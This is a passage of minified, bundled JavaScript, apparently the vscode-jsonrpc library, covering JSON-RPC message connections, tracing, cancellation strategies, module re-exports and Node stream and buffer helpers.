q==="number"}A.is=K})(eV6||(hT7.ProgressToken=eV6={}));var ymA;(function(A){A.type=new bq.NotificationType("$/progress")})(ymA||(ymA={}));class ST7{constructor(){}}hT7.ProgressType=ST7;var Af6;(function(A){function K(q){return jO.func(q)}A.is=K})(Af6||(Af6={}));hT7.NullLogger=Object.freeze({error:()=>{},warn:()=>{},info:()=>{},log:()=>{}});var j2;(function(A){A[A.Off=0]="Off",A[A.Messages=1]="Messages",A[A.Compact=2]="Compact",A[A.Verbose=3]="Verbose"})(j2||(hT7.Trace=j2={}));var yT7;(function(A){A.Off="off",A.Messages="messages",A.Compact="compact",A.Verbose="verbose"})(yT7||(hT7.TraceValues=yT7={}));(function(A){function K(Y){if(!jO.string(Y))return A.Off;switch(Y=Y.toLowerCase(),Y){case"off":return A.Off;case"messages":return A.Messages;case"compact":return A.Compact;case"verbose":return A.Verbose;default:return A.Off}}A.fromString=K;function q(Y){switch(Y){case A.Off:return"off";case A.Messages:return"messages";case A.Compact:return"compact";case A.Verbose:return"verbose";default:return"off"}}A.toString=q})(j2||(hT7.Trace=j2={}));var Kv;(function(A){A.Text="text",A.JSON="json"})(Kv||(hT7.TraceFormat=Kv={}));(function(A){function K(q){if(!jO.string(q))return A.Text;if(q=q.toLowerCase(),q==="json")return A.JSON;else return A.Text}A.fromString=K})(Kv||(hT7.TraceFormat=Kv={}));var Kf6;(function(A){A.type=new bq.NotificationType("$/setTrace")})(Kf6||(hT7.SetTraceNotification=Kf6={}));var SG1;(function(A){A.type=new bq.NotificationType("$/logTrace")})(SG1||(hT7.LogTraceNotification=SG1={}));var ImA;(function(A){A[A.Closed=1]="Closed",A[A.Disposed=2]="Disposed",A[A.AlreadyListening=3]="AlreadyListening"})(ImA||(hT7.ConnectionErrors=ImA={}));class xWA extends Error{constructor(A,K){super(K);this.code=A,Object.setPrototypeOf(this,xWA.prototype)}}hT7.ConnectionError=xWA;var qf6;(function(A){function K(q){let Y=q;return Y&&jO.func(Y.cancelUndispatched)}A.is=K})(qf6||(hT7.ConnectionStrategy=qf6={}));var hG1;(function(A){function K(q){let Y=q;return Y&&(Y.kind===void 0||Y.kind==="id")&&jO.func(Y.createCancellationTokenSource)&&(Y.dispose===void 0||jO.func(Y.dispose))}A.is=K})(hG1||(hT7.IdCancellationReceiverStrategy=hG1={}));var Yf6;(function(A){function K(q){let Y=q;return Y&&Y.kind==="request"&&jO.func(Y.createCancellationTokenSource)&&(Y.dispose===void 0||jO.func(Y.dispose))}A.is=K})(Yf6||(hT7.RequestCancellationReceiverStrategy=Yf6={}));var bG1;(function(A){A.Message=Object.freeze({createCancellationTokenSource(q){return new tV6.CancellationTokenSource}});function K(q){return hG1.is(q)||Yf6.is(q)}A.is=K})(bG1||(hT7.CancellationReceiverStrategy=bG1={}));var xG1;(function(A){A.Message=Object.freeze({sendCancellation(q,Y){return q.sendNotification(SmA.type,{id:Y})},cleanup(q){}});function K(q){let Y=q;return Y&&jO.func(Y.sendCancellation)&&jO.func(Y.cleanup)}A.is=K})(xG1||(hT7.CancellationSenderStrategy=xG1={}));var uG1;(function(A){A.Message=Object.freeze({receiver:bG1.Message,sender:xG1.Message});function K(q){let Y=q;return Y&&bG1.is(Y.receiver)&&xG1.is(Y.sender)}A.is=K})(uG1||(hT7.CancellationStrategy=uG1={}));var BG1;(function(A){function K(q){let Y=q;return Y&&jO.func(Y.handleMessage)}A.is=K})(BG1||(hT7.MessageStrategy=BG1={}));var IT7;(function(A){function K(q){let Y=q;return Y&&(uG1.is(Y.cancellationStrategy)||qf6.is(Y.connectionStrategy)||BG1.is(Y.messageStrategy))}A.is=K})(IT7||(hT7.ConnectionOptions=IT7={}));var aI;(function(A){A[A.New=1]="New",A[A.Listening=2]="Listening",A[A.Closed=3]="Closed",A[A.Disposed=4]="Disposed"})(aI||(aI={}));function UBY(A,K,q,Y){let z=q!==void 0?q:hT7.NullLogger,w=0,H=0,J=0,O="2.0",X=void 0,$=new Map,_=void 0,G=new Map,Z=new Map,W,D=new RT7.LinkedMap,j=new Map,M=new Set,P=new Map,f=j2.Off,N=Kv.Text,T,C=aI.New,R=new RmA.Emitter,x=new RmA.Emitter,y=new RmA.Emitter,B=new RmA.Emitter,b=new RmA.Emitter,F=Y&&Y.cancellationStrategy?Y.cancellationStrategy:uG1.Message;function Q(w1){if(w1===null)throw Error("Can't send requests with id null since the response can't be correlated.");return"req-"+w1.toString()}function u(w1){if(w1===null)return"res-unknown-"+(++J).toString();else return"res-"+w1.toString()}function d(){return"not-"+(++H).toString()}function r(w1,$1){if(bq.Message.isRequest($1))w1.set(Q($1.id),$1);else if(bq.Message.isResponse($1))w1.set(u($1.id),$1);else w1.set(d(),$1)}function c(w1){return}function YA(){return C===aI.Listening}function e(){return C===aI.Closed}function qA(){return C===aI.Disposed}function HA(){if(C===aI.New||C===aI.Listening)C=aI.Closed,x.fire(void 0)}function _A(w1){R.fire([w1,void 0,void 0])}function a(w1){R.fire(w1)}A.onClose(HA),A.onError(_A),K.onClose(HA),K.onError(a);function JA(){if(W||D.size===0)return;W=(0,LT7.default)().timer.setImmediate(()=>{W=void 0,MA()})}function jA(w1){if(bq.Message.isRequest(w1))yA(w1);else if(bq.Message.isNotification(w1))wA(w1);else if(bq.Message.isResponse(w1))AA(w1);else GA(w1)}function MA(){if(D.size===0)return;let w1=D.shift();try{let $1=Y?.messageStrategy;if(BG1.is($1))$1.handleMessage(w1,jA);else jA(w1)}finally{JA()}}let hA=(w1)=>{try{if(bq.Message.isNotification(w1)&&w1.method===SmA.type.method){let $1=w1.params.id,N1=Q($1),A6=D.get(N1);if(bq.Message.isRequest(A6)){let w6=Y?.connectionStrategy,DA=w6&&w6.cancelUndispatched?w6.cancelUndispatched(A6,c):c(A6);if(DA&&(DA.error!==void 0||DA.result!==void 0)){D.delete(N1),P.delete($1),DA.id=A6.id,VA(DA,w1.method,Date.now()),K.write(DA).catch(()=>z.error("Sending response for canceled message failed."));return}}let c1=P.get($1);if(c1!==void 0){c1.cancel(),RA(w1);return}else M.add($1)}r(D,w1)}finally{JA()}};function yA(w1){if(qA())return;function $1(rA,J1,aA){let z1={jsonrpc:O,id:w1.id};if(rA instanceof bq.ResponseError)z1.error=rA.toJson();else z1.result=rA===void 0?null:rA;VA(z1,J1,aA),K.write(z1).catch(()=>z.error("Sending response failed."))}function N1(rA,J1,aA){let z1={jsonrpc:O,id:w1.id,error:rA.toJson()};VA(z1,J1,aA),K.write(z1).catch(()=>z.error("Sending response failed."))}function A6(rA,J1,aA){if(rA===void 0)rA=null;let z1={jsonrpc:O,id:w1.id,result:rA};VA(z1,J1,aA),K.write(z1).catch(()=>z.error("Sending response failed."))}vA(w1);let c1=$.get(w1.method),w6,DA;if(c1)w6=c1.type,DA=c1.handler;let EA=Date.now();if(DA||X){let rA=w1.id??String(Date.now()),J1=hG1.is(F.receiver)?F.receiver.createCancellationTokenSource(rA):F.receiver.createCancellationTokenSource(w1);if(w1.id!==null&&M.has(w1.id))J1.cancel();if(w1.id!==null)P.set(rA,J1);try{let aA;if(DA)if(w1.params===void 0){if(w6!==void 0&&w6.numberOfParams!==0){N1(new bq.ResponseError(bq.ErrorCodes.InvalidParams,`Request ${w1.method} defines ${w6.numberOfParams} params but received none.`),w1.method,EA);return}aA=DA(J1.token)}else if(Array.isArray(w1.params)){if(w6!==void 0&&w6.parameterStructures===bq.ParameterStructures.byName){N1(new bq.ResponseError(bq.ErrorCodes.InvalidParams,`Request ${w1.method} defines parameters by name but received parameters by position`),w1.method,EA);return}aA=DA(...w1.params,J1.token)}else{if(w6!==void 0&&w6.parameterStructures===bq.ParameterStructures.byPosition){N1(new bq.ResponseError(bq.ErrorCodes.InvalidParams,`Request ${w1.method} defines parameters by position but received parameters by name`),w1.method,EA);return}aA=DA(w1.params,J1.token)}else if(X)aA=X(w1.method,w1.params,J1.token);let z1=aA;if(!aA)P.delete(rA),A6(aA,w1.method,EA);else if(z1.then)z1.then((f1)=>{P.delete(rA),$1(f1,w1.method,EA)},(f1)=>{if(P.delete(rA),f1 instanceof bq.ResponseError)N1(f1,w1.method,EA);else if(f1&&jO.string(f1.message))N1(new bq.ResponseError(bq.ErrorCodes.InternalError,`Request ${w1.method} failed with message: ${f1.message}`),w1.method,EA);else N1(new bq.ResponseError(bq.ErrorCodes.InternalError,`Request ${w1.method} failed unexpectedly without providing any details.`),w1.method,EA)});else P.delete(rA),$1(aA,w1.method,EA)}catch(aA){if(P.delete(rA),aA instanceof bq.ResponseError)$1(aA,w1.method,EA);else if(aA&&jO.string(aA.message))N1(new bq.ResponseError(bq.ErrorCodes.InternalError,`Request ${w1.method} failed with message: ${aA.message}`),w1.method,EA);else N1(new bq.ResponseError(bq.ErrorCodes.InternalError,`Request ${w1.method} failed unexpectedly without providing any details.`),w1.method,EA)}}else N1(new bq.ResponseError(bq.ErrorCodes.MethodNotFound,`Unhandled method ${w1.method}`),w1.method,EA)}function AA(w1){if(qA())return;if(w1.id===null)if(w1.error)z.error(`Received response message without id: Error is: ${JSON.stringify(w1.error,void 0,4)}`);else z.error("Received response message without id. No further error information provided.");else{let $1=w1.id,N1=j.get($1);if(fA(w1,N1),N1!==void 0){j.delete($1);try{if(w1.error){let A6=w1.error;N1.reject(new bq.ResponseError(A6.code,A6.message,A6.data))}else if(w1.result!==void 0)N1.resolve(w1.result);else throw Error("Should never happen.")}catch(A6){if(A6.message)z.error(`Response handler '${N1.method}' failed with message: ${A6.message}`);else z.error(`Response handler '${N1.method}' failed unexpectedly.`)}}}}function wA(w1){if(qA())return;let $1=void 0,N1;if(w1.method===SmA.type.method){let A6=w1.params.id;M.delete(A6),RA(w1);return}else{let A6=G.get(w1.method);if(A6)N1=A6.handler,$1=A6.type}if(N1||_)try{if(RA(w1),N1)if(w1.params===void 0){if($1!==void 0){if($1.numberOfParams!==0&&$1.parameterStructures!==bq.ParameterStructures.byName)z.error(`Notification ${w1.method} defines ${$1.numberOfParams} params but received none.`)}N1()}else if(Array.isArray(w1.params)){let A6=w1.params;if(w1.method===ymA.type.method&&A6.length===2&&eV6.is(A6[0]))N1({token:A6[0],value:A6[1]});else{if($1!==void 0){if($1.parameterStructures===bq.ParameterStructures.byName)z.error(`Notification ${w1.method} defines parameters by name but received parameters by position`);if($1.numberOfParams!==w1.params.length)z.error(`Notification ${w1.method} defines ${$1.numberOfParams} params but received ${A6.length} arguments`)}N1(...A6)}}else{if($1!==void 0&&$1.parameterStructures===bq.ParameterStructures.byPosition)z.error(`Notification ${w1.method} defines parameters by position but received parameters by name`);N1(w1.params)}else if(_)_(w1.method,w1.params)}catch(A6){if(A6.message)z.error(`Notification handler '${w1.method}' failed with message: ${A6.message}`);else z.error(`Notification handler '${w1.method}' failed unexpectedly.`)}else y.fire(w1)}function GA(w1){if(!w1){z.error("Received empty message.");return}z.error(`Received message which is neither a response nor a notification message: ${JSON.stringify(w1,null,4)}`);let $1=w1;if(jO.string($1.id)||jO.number($1.id)){let N1=$1.id,A6=j.get(N1);if(A6)A6.reject(Error("The received response has neither a result nor an error property."))}}function OA(w1){if(w1===void 0||w1===null)return;switch(f){case j2.Verbose:return JSON.stringify(w1,null,4);case j2.Compact:return JSON.stringify(w1);default:return}}function t(w1){if(f===j2.Off||!T)return;if(N===Kv.Text){let $1=void 0;if((f===j2.Verbose||f===j2.Compact)&&w1.params)$1=`Params: ${OA(w1.params)} `;T.log(`Sending request '${w1.method} - (${w1.id})'.`,$1)}else LA("send-request",w1)}function XA(w1){if(f===j2.Off||!T)return;if(N===Kv.Text){let $1=void 0;if(f===j2.Verbose||f===j2.Compact)if(w1.params)$1=`Params: ${OA(w1.params)} `;else $1=`No parameters provided. `;T.log(`Sending notification '${w1.method}'.`,$1)}else LA("send-notification",w1)}function VA(w1,$1,N1){if(f===j2.Off||!T)return;if(N===Kv.Text){let A6=void 0;if(f===j2.Verbose||f===j2.Compact){if(w1.error&&w1.error.data)A6=`Error data: ${OA(w1.error.data)} `;else if(w1.result)A6=`Result: ${OA(w1.result)} `;else if(w1.error===void 0)A6=`No result returned. `}T.log(`Sending response '${$1} - (${w1.id})'. Processing request took ${Date.now()-N1}ms`,A6)}else LA("send-response",w1)}function vA(w1){if(f===j2.Off||!T)return;if(N===Kv.Text){let $1=void 0;if((f===j2.Verbose||f===j2.Compact)&&w1.params)$1=`Params: ${OA(w1.params)} `;T.log(`Received request '${w1.method} - (${w1.id})'.`,$1)}else LA("receive-request",w1)}function RA(w1){if(f===j2.Off||!T||w1.method===SG1.type.method)return;if(N===Kv.Text){let $1=void 0;if(f===j2.Verbose||f===j2.Compact)if(w1.params)$1=`Params: ${OA(w1.params)} `;else $1=`No parameters provided. `;T.log(`Received notification '${w1.method}'.`,$1)}else LA("receive-notification",w1)}function fA(w1,$1){if(f===j2.Off||!T)return;if(N===Kv.Text){let N1=void 0;if(f===j2.Verbose||f===j2.Compact){if(w1.error&&w1.error.data)N1=`Error data: ${OA(w1.error.data)} `;else if(w1.result)N1=`Result: ${OA(w1.result)} `;else if(w1.error===void 0)N1=`No result returned. `}if($1){let A6=w1.error?` Request failed: ${w1.error.message} (${w1.error.code}).`:"";T.log(`Received response '${$1.method} - (${w1.id})' in ${Date.now()-$1.timerStart}ms.${A6}`,N1)}else T.log(`Received response ${w1.id} without active response promise.`,N1)}else LA("receive-response",w1)}function LA(w1,$1){if(!T||f===j2.Off)return;let N1={isLSPMessage:!0,type:w1,message:$1,timestamp:Date.now()};T.log(N1)}function SA(){if(e())throw new xWA(ImA.Closed,"Connection is closed.");if(qA())throw new xWA(ImA.Disposed,"Connection is disposed.")}function xA(){if(YA())throw new xWA(ImA.AlreadyListening,"Connection is already listening")}function iA(){if(!YA())throw Error("Call listen() first.")}function lA(w1){if(w1===void 0)return null;else return w1}function v1(w1){if(w1===null)return;else return w1}function I1(w1){return w1!==void 0&&w1!==null&&!Array.isArray(w1)&&typeof w1==="object"}function Q1(w1,$1){switch(w1){case bq.ParameterStructures.auto:if(I1($1))return v1($1);else return[lA($1)];case bq.ParameterStructures.byName:if(!I1($1))throw Error("Received parameters by name but param is not an object literal.");return v1($1);case bq.ParameterStructures.byPosition:return[lA($1)];default:throw Error(`Unknown parameter structure ${w1.toString()}`)}}function B1(w1,$1){let N1,A6=w1.numberOfParams;switch(A6){case 0:N1=void 0;break;case 1:N1=Q1(w1.parameterStructures,$1[0]);break;default:N1=[];for(let c1=0;c1<$1.length&&c1<A6;c1++)N1.push(lA($1[c1]));if($1.length<A6)for(let c1=$1.length;c1<A6;c1++)N1.push(null);break}return N1}let C6={sendNotification:(w1,...$1)=>{SA();let N1,A6;if(jO.string(w1)){N1=w1;let w6=$1[0],DA=0,EA=bq.ParameterStructures.auto;if(bq.ParameterStructures.is(w6))DA=1,EA=w6;let rA=$1.length,J1=rA-DA;switch(J1){case 0:A6=void 0;break;case 1:A6=Q1(EA,$1[DA]);break;default:if(EA===bq.ParameterStructures.byName)throw Error(`Received ${J1} parameters for 'by Name' notification parameter structure.`);A6=$1.slice(DA,rA).map((aA)=>lA(aA));break}}else{let w6=$1;N1=w1.method,A6=B1(w1,w6)}let c1={jsonrpc:O,method:N1,params:A6};return XA(c1),K.write(c1).catch((w6)=>{throw z.error("Sending notification failed."),w6})},onNotification:(w1,$1)=>{SA();let N1;if(jO.func(w1))_=w1;else if($1)if(jO.string(w1))N1=w1,G.set(w1,{type:void 0,handler:$1});else N1=w1.method,G.set(w1.method,{type:w1,handler:$1});return{dispose:()=>{if(N1!==void 0)G.delete(N1);else _=void 0}}},onProgress:(w1,$1,N1)=>{if(Z.has($1))throw Error(`Progress handler for token ${$1} already registered`);return Z.set($1,N1),{dispose:()=>{Z.delete($1)}}},sendProgress:(w1,$1,N1)=>{return C6.sendNotification(ymA.type,{token:$1,value:N1})},onUnhandledProgress:B.event,sendRequest:(w1,...$1)=>{SA(),iA();let N1,A6,c1=void 0;if(jO.string(w1)){N1=w1;let rA=$1[0],J1=$1[$1.length-1],aA=0,z1=bq.ParameterStructures.auto;if(bq.ParameterStructures.is(rA))aA=1,z1=rA;let f1=$1.length;if(tV6.CancellationToken.is(J1))f1=f1-1,c1=J1;let T1=f1-aA;switch(T1){case 0:A6=void 0;break;case 1:A6=Q1(z1,$1[aA]);break;default:if(z1===bq.ParameterStructures.byName)throw Error(`Received ${T1} parameters for 'by Name' request parameter structure.`);A6=$1.slice(aA,f1).map((K6)=>lA(K6));break}}else{let rA=$1;N1=w1.method,A6=B1(w1,rA);let J1=w1.numberOfParams;c1=tV6.CancellationToken.is(rA[J1])?rA[J1]:void 0}let w6=w++,DA;if(c1)DA=c1.onCancellationRequested(()=>{let rA=F.sender.sendCancellation(C6,w6);if(rA===void 0)return z.log(`Received no promise from cancellation strategy when cancelling id ${w6}`),Promise.resolve();else return rA.catch(()=>{z.log(`Sending cancellation messages for id ${w6} failed`)})});let EA={jsonrpc:O,id:w6,method:N1,params:A6};if(t(EA),typeof F.sender.enableCancellation==="function")F.sender.enableCancellation(EA);return new Promise(async(rA,J1)=>{let aA=(T1)=>{rA(T1),F.sender.cleanup(w6),DA?.dispose()},z1=(T1)=>{J1(T1),F.sender.cleanup(w6),DA?.dispose()},f1={method:N1,timerStart:Date.now(),resolve:aA,reject:z1};try{j.set(w6,f1),await K.write(EA)}catch(T1){throw j.delete(w6),f1.reject(new bq.ResponseError(bq.ErrorCodes.MessageWriteError,T1.message?T1.message:"Unknown reason")),z.error("Sending request failed."),T1}})},onRequest:(w1,$1)=>{SA();let N1=null;if(Af6.is(w1))N1=void 0,X=w1;else if(jO.string(w1)){if(N1=null,$1!==void 0)N1=w1,$.set(w1,{handler:$1,type:void 0})}else if($1!==void 0)N1=w1.method,$.set(w1.method,{type:w1,handler:$1});return{dispose:()=>{if(N1===null)return;if(N1!==void 0)$.delete(N1);else X=void 0}}},hasPendingResponse:()=>{return j.size>0},trace:async(w1,$1,N1)=>{let A6=!1,c1=Kv.Text;if(N1!==void 0)if(jO.boolean(N1))A6=N1;else A6=N1.sendNotification||!1,c1=N1.traceFormat||Kv.Text;if(f=w1,N=c1,f===j2.Off)T=void 0;else T=$1;if(A6&&!e()&&!qA())await C6.sendNotification(Kf6.type,{value:j2.toString(w1)})},onError:R.event,onClose:x.event,onUnhandledNotification:y.event,onDispose:b.event,end:()=>{K.end()},dispose:()=>{if(qA())return;C=aI.Disposed,b.fire(void 0);let w1=new bq.ResponseError(bq.ErrorCodes.PendingResponseRejected,"Pending response rejected since connection got disposed");for(let $1 of j.values())$1.reject(w1);if(j=new Map,P=new Map,M=new Set,D=new RT7.LinkedMap,jO.func(K.dispose))K.dispose();if(jO.func(A.dispose))A.dispose()},listen:()=>{SA(),xA(),C=aI.Listening,A.listen(hA)},inspect:()=>{(0,LT7.default)().console.log("inspect")}};return C6.onNotification(SG1.type,(w1)=>{if(f===j2.Off||!T)return;let $1=f===j2.Verbose||f===j2.Compact;T.log(w1.message,$1?w1.verbose:void 0)}),C6.onNotification(ymA.type,(w1)=>{let $1=Z.get(w1.token);if($1)$1(w1.value);else B.fire(w1)}),C6}hT7.createMessageConnection=UBY});var mG1=v((KK)=>{Object.defineProperty(KK,"__esModule",{value:!0});KK.ProgressType=KK.ProgressToken=KK.createMessageConnection=KK.NullLogger=KK.ConnectionOptions=KK.ConnectionStrategy=KK.AbstractMessageBuffer=KK.WriteableStreamMessageWriter=KK.AbstractMessageWriter=KK.MessageWriter=KK.ReadableStreamMessageReader=KK.AbstractMessageReader=KK.MessageReader=KK.SharedArrayReceiverStrategy=KK.SharedArraySenderStrategy=KK.CancellationToken=KK.CancellationTokenSource=KK.Emitter=KK.Event=KK.Disposable=KK.LRUCache=KK.Touch=KK.LinkedMap=KK.ParameterStructures=KK.NotificationType9=KK.NotificationType8=KK.NotificationType7=KK.NotificationType6=KK.NotificationType5=KK.NotificationType4=KK.NotificationType3=KK.NotificationType2=KK.NotificationType1=KK.NotificationType0=KK.NotificationType=KK.ErrorCodes=KK.ResponseError=KK.RequestType9=KK.RequestType8=KK.RequestType7=KK.RequestType6=KK.RequestType5=KK.RequestType4=KK.RequestType3=KK.RequestType2=KK.RequestType1=KK.RequestType0=KK.RequestType=KK.Message=KK.RAL=void 0;KK.MessageStrategy=KK.CancellationStrategy=KK.CancellationSenderStrategy=KK.CancellationReceiverStrategy=KK.ConnectionError=KK.ConnectionErrors=KK.LogTraceNotification=KK.SetTraceNotification=KK.TraceFormat=KK.TraceValues=KK.Trace=void 0;var XH=gV6();Object.defineProperty(KK,"Message",{enumerable:!0,get:function(){return XH.Message}});Object.defineProperty(KK,"RequestType",{enumerable:!0,get:function(){return XH.RequestType}});Object.defineProperty(KK,"RequestType0",{enumerable:!0,get:function(){return XH.RequestType0}});Object.defineProperty(KK,"RequestType1",{enumerable:!0,get:function(){return XH.RequestType1}});Object.defineProperty(KK,"RequestType2",{enumerable:!0,get:function(){return XH.RequestType2}});Object.defineProperty(KK,"RequestType3",{enumerable:!0,get:function(){return XH.RequestType3}});Object.defineProperty(KK,"RequestType4",{enumerable:!0,get:function(){return XH.RequestType4}});Object.defineProperty(KK,"RequestType5",{enumerable:!0,get:function(){return XH.RequestType5}});Object.defineProperty(KK,"RequestType6",{enumerable:!0,get:function(){return XH.RequestType6}});Object.defineProperty(KK,"RequestType7",{enumerable:!0,get:function(){return XH.RequestType7}});Object.defineProperty(KK,"RequestType8",{enumerable:!0,get:function(){return XH.RequestType8}});Object.defineProperty(KK,"RequestType9",{enumerable:!0,get:function(){return XH.RequestType9}});Object.defineProperty(KK,"ResponseError",{enumerable:!0,get:function(){return XH.ResponseError}});Object.defineProperty(KK,"ErrorCodes",{enumerable:!0,get:function(){return XH.ErrorCodes}});Object.defineProperty(KK,"NotificationType",{enumerable:!0,get:function(){return XH.NotificationType}});Object.defineProperty(KK,"NotificationType0",{enumerable:!0,get:function(){return XH.NotificationType0}});Object.defineProperty(KK,"NotificationType1",{enumerable:!0,get:function(){return XH.NotificationType1}});Object.defineProperty(KK,"NotificationType2",{enumerable:!0,get:function(){return XH.NotificationType2}});Object.defineProperty(KK,"NotificationType3",{enumerable:!0,get:function(){return XH.NotificationType3}});Object.defineProperty(KK,"NotificationType4",{enumerable:!0,get:function(){return XH.NotificationType4}});Object.defineProperty(KK,"NotificationType5",{enumerable:!0,get:function(){return XH.NotificationType5}});Object.defineProperty(KK,"NotificationType6",{enumerable:!0,get:function(){return XH.NotificationType6}});Object.defineProperty(KK,"NotificationType7",{enumerable:!0,get:function(){return XH.NotificationType7}});Object.defineProperty(KK,"NotificationType8",{enumerable:!0,get:function(){return XH.NotificationType8}});Object.defineProperty(KK,"NotificationType9",{enumerable:!0,get:function(){return XH.NotificationType9}});Object.defineProperty(KK,"ParameterStructures",{enumerable:!0,get:function(){return XH.ParameterStructures}});var zf6=QV6();Object.defineProperty(KK,"LinkedMap",{enumerable:!0,get:function(){return zf6.LinkedMap}});Object.defineProperty(KK,"LRUCache",{enumerable:!0,get:function(){return zf6.LRUCache}});Object.defineProperty(KK,"Touch",{enumerable:!0,get:function(){return zf6.Touch}});var YmY=lN7();Object.defineProperty(KK,"Disposable",{enumerable:!0,get:function(){return YmY.Disposable}});var gT7=hWA();Object.defineProperty(KK,"Event",{enumerable:!0,get:function(){return gT7.Event}});Object.defineProperty(KK,"Emitter",{enumerable:!0,get:function(){return gT7.Emitter}});var FT7=IG1();Object.defineProperty(KK,"CancellationTokenSource",{enumerable:!0,get:function(){return FT7.CancellationTokenSource}});Object.defineProperty(KK,"CancellationToken",{enumerable:!0,get:function(){return FT7.CancellationToken}});var QT7=HT7();Object.defineProperty(KK,"SharedArraySenderStrategy",{enumerable:!0,get:function(){return QT7.SharedArraySenderStrategy}});Object.defineProperty(KK,"SharedArrayReceiverStrategy",{enumerable:!0,get:function(){return QT7.SharedArrayReceiverStrategy}});var wf6=WT7();Object.defineProperty(KK,"MessageReader",{enumerable:!0,get:function(){return wf6.MessageReader}});Object.defineProperty(KK,"AbstractMessageReader",{enumerable:!0,get:function(){return wf6.AbstractMessageReader}});Object.defineProperty(KK,"ReadableStreamMessageReader",{enumerable:!0,get:function(){return wf6.ReadableStreamMessageReader}});var Hf6=TT7();Object.defineProperty(KK,"MessageWriter",{enumerable:!0,get:function(){return Hf6.MessageWriter}});Object.defineProperty(KK,"AbstractMessageWriter",{enumerable:!0,get:function(){return Hf6.AbstractMessageWriter}});Object.defineProperty(KK,"WriteableStreamMessageWriter",{enumerable:!0,get:function(){return Hf6.WriteableStreamMessageWriter}});var zmY=CT7();Object.defineProperty(KK,"AbstractMessageBuffer",{enumerable:!0,get:function(){return zmY.AbstractMessageBuffer}});var _W=mT7();Object.defineProperty(KK,"ConnectionStrategy",{enumerable:!0,get:function(){return _W.ConnectionStrategy}});Object.defineProperty(KK,"ConnectionOptions",{enumerable:!0,get:function(){return _W.ConnectionOptions}});Object.defineProperty(KK,"NullLogger",{enumerable:!0,get:function(){return _W.NullLogger}});Object.defineProperty(KK,"createMessageConnection",{enumerable:!0,get:function(){return _W.createMessageConnection}});Object.defineProperty(KK,"ProgressToken",{enumerable:!0,get:function(){return _W.ProgressToken}});Object.defineProperty(KK,"ProgressType",{enumerable:!0,get:function(){return _W.ProgressType}});Object.defineProperty(KK,"Trace",{enumerable:!0,get:function(){return _W.Trace}});Object.defineProperty(KK,"TraceValues",{enumerable:!0,get:function(){return _W.TraceValues}});Object.defineProperty(KK,"TraceFormat",{enumerable:!0,get:function(){return _W.TraceFormat}});Object.defineProperty(KK,"SetTraceNotification",{enumerable:!0,get:function(){return _W.SetTraceNotification}});Object.defineProperty(KK,"LogTraceNotification",{enumerable:!0,get:function(){return _W.LogTraceNotification}});Object.defineProperty(KK,"ConnectionErrors",{enumerable:!0,get:function(){return _W.ConnectionErrors}});Object.defineProperty(KK,"ConnectionError",{enumerable:!0,get:function(){return _W.ConnectionError}});Object.defineProperty(KK,"CancellationReceiverStrategy",{enumerable:!0,get:function(){return _W.CancellationReceiverStrategy}});Object.defineProperty(KK,"CancellationSenderStrategy",{enumerable:!0,get:function(){return _W.CancellationSenderStrategy}});Object.defineProperty(KK,"CancellationStrategy",{enumerable:!0,get:function(){return _W.CancellationStrategy}});Object.defineProperty(KK,"MessageStrategy",{enumerable:!0,get:function(){return _W.MessageStrategy}});var wmY=$s();KK.RAL=wmY.default});var iT7=v((lT7)=>{Object.defineProperty(lT7,"__esModule",{value:!0});var UT7=CA("util"),up=mG1();class gG1 extends up.AbstractMessageBuffer{constructor(A="utf-8"){super(A)}emptyBuffer(){return gG1.emptyBuffer}fromString(A,K){return Buffer.from(A,K)}toString(A,K){if(A instanceof Buffer)return A.toString(K);else return new UT7.TextDecoder(K).decode(A)}asNative(A,K){if(K===void 0)return A instanceof Buffer?A:Buffer.from(A);else return A instanceof Buffer?A.slice(0,K):Buffer.from(A,0,K)}allocNative(A){return Buffer.allocUnsafe(A)}}gG1.emptyBuffer=Buffer.allocUnsafe(0);class pT7{constructor(A){this.stream=A}onClose(A){return this.stream.on("close",A),up.Disposable.create(()=>this.stream.off("close",A))}onError(A){return this.stream.on("error",A),up.Disposable.create(()=>this.stream.off("error",A))}onEnd(A){return this.stream.on("end",A),up.Disposable.create(()=>this.stream.off("end",A))}onData(A){return this.stream.on("data",A),up.Disposable.create(()=>this.stream.off("data",A))}}class dT7{constructor(A){this.stream=A}onClose(A){return this.stream.on("close",A),up.Disposable.create(()=>this.stream.off("close",A))}onError(A){return this.stream.on("error",A),up.Disposable.create(()=>this.stream.off("error",A))}onEnd(A){return this.stream.on("end",A),up.Disposable.create(()=>this.stream.off("end",A))}write(A,K){return new Promise((q,Y)=>{let z=(w)=>{if(w===void 0||w===null)q();else Y(w)};if(typeof A==="string")this.stream.write(A,K,z);else this.stream.write(A,z)})}end(){this.stream.end()}}var cT7=Object.freeze({messageBuffer:Object.freeze({create:(A)=>new gG1(A)}),applicationJson:Object.freeze({encoder:Object.freeze({name:"application/json",encode:(A,K)=>{try{return Promise.resolve(Buffer.from(JSON.stringify(A,void 0,0),K.charset))}catch(q){return Promise.reject(q)}}}),decoder:Object.freeze({name:"application/json",decode:(A,K)=>{try{if(A instanceof Buffer)return Promise.resolve(JSON.parse(A.toString(K.charset)));else return Promise.resolve(JSON.parse(new UT7.TextDecoder(K.charset).decode(A)))}catch(q){return Promise.reject(q)}}})}),stream:Object.freeze({asReadableStream:(A)=>new pT7(A),asWritableStream:(A)=>new dT7(A)}),console,timer:Object.freeze({setTimeout(A,K,...q){let Y=setTimeout(A,K,...q);return{dispose:()=>clearTimeout(Y)}},setImmediate(A,...K){let q=setImmediate(A,...K);return{dispose:()=>clearImmediate(q)}},setInterval(A,K,...q){let Y=setInterval(A,K,...q);return{dispose:()=>clearInterval(Y)}}})});function Jf6(){return cT7}(function(A){function K(){up.RAL.install(cT7)}A.install=K})(Jf6||(Jf6={}));lT7.default=Jf6});var eT7=v((XY)=>{var $mY=XY&&XY.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),_mY=XY&&XY.__exportStar||function(A,K){for(var q in 